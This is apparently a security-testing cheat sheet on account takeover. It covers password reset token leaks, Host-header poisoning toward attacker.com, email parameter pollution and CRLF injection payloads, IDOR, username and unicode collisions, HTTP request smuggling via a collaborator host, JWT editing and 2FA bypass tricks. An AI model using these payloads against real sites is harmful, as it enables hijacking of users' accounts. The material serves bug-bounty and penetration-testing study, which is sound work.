Account Takeover

Summary

Password Reset Feature

Password Reset Token Leak Via Referrer

1. Request password reset to your email address
2. Click on the password reset link
3. Don't change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

Account Takeover Through Password Reset Poisoning

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header

```
POST https://example.com/reset.php HTTP/1.1
Accept: */*
Content-Type: application/json
Host: attacker.com
```

4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`

Password Reset Via Email Parameter

```
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```

IDOR on API Parameters

1. Attacker have to login with their account and go to the **Change password** feature.
2. Start the Burp Suite and Intercept the request
3. Send it to the repeater tab and edit the parameters : User ID/email

```
POST /api/changepass
[...]
("form": {"email":"victim@email.com","password":"securepwd"})
```

Weak Password Reset Token

The password reset token should be randomly generated and unique every time. Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.

- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth

- Cryptography
- Number only
- Small token sequence (<6 characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date

Leaking Password Reset Token

1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`

Password Reset Via Username Collision

1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
2. Request a password reset with your malicious username.
3. Use the token sent to your email and reset the victim password.
4. Connect to the victim account with the new password.

The platform CTFd was vulnerable to this attack. See: CVE-2020-7245

Account takeover due to unicode normalization issue

- Victim account: `demo@gmail.com`
- Attacker account: `demⓄ@gmail.com`

Account Takeover Via Cross Site Scripting

1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
2. Leak the current **sessions cookie**
3. Authenticate as the user using the cookie

Account Takeover Via HTTP Request Smuggling

Refer to **HTTP Request Smuggling** vulnerability page.

1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)

```
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -h
```

2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:

```
GET http://something.burpcollaborator.net  HTTP/1.1
X:
```

3. Final request could look like the following

```
GET /  HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83

0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X
```

Hackerone reports exploiting this bug

- https://hackerone.com/reports/737140
- https://hackerone.com/reports/771666

Account Takeover via CSRF

1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
2. Send the payload

Account Takeover via JWT

JSON Web Token might be used to authenticate an user.

- Edit the JWT with another User ID / Email
- Check for weak JWT signature

2FA Bypasses

Response Manipulation

In response if `"success":false` Change it to `"success":true`

Status Code Manipulation

If Status Code is **4xx** Try to change it to **200 OK** and see if it bypass restrictions

2FA Code Leakage in Response

Check the response of the 2FA Code Triggering Request to see if the code is leaked.

JS File Analysis

Rare but some JS Files may contain info about the 2FA Code, worth giving a shot

2FA Code Reusability

Same code can be reused

Lack of Brute-Force Protection

Possible to brute-force any length 2FA Code

Missing 2FA Code Integrity Validation

Code for any user acc can be used to bypass the 2FA

CSRF on 2FA Disabling

No CSRF Protection on disabling 2FA, also there is no auth confirmation

Password Reset Disable 2FA

2FA gets disabled on password change/email change

Backup Code Abuse

Bypassing 2FA by abusing the Backup code feature Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions

Clickjacking on 2FA Disabling Page

Iframing the 2FA Disabling page and social engineering victim to disable the 2FA

Enabling 2FA doesn't expire Previously active Sessions

If the session is already hijacked and there is a session timeout vuln

Bypass 2FA with null or 000000

Enter the code **000000** or **null** to bypass 2FA protection.

Bypass 2FA with array

```
{
    "otp":[
        "1234",
        "1111",
        "1337", // GOOD OTP
        "2222",
        "3333",
        "4444",
        "5555"
    ]
}
```

TODO

- Broken cryptography
- Session hijacking
- OAuth misconfiguration

References

- 10 Password Reset Flaws - Anugrah SR
- $6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained
- Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020
- Hacking Grindr Accounts with Copy and Paste - Troy HUNT & Wassime BOUIMADAGHENE - 03 OCTOBER 2020
- CTFd Account Takeover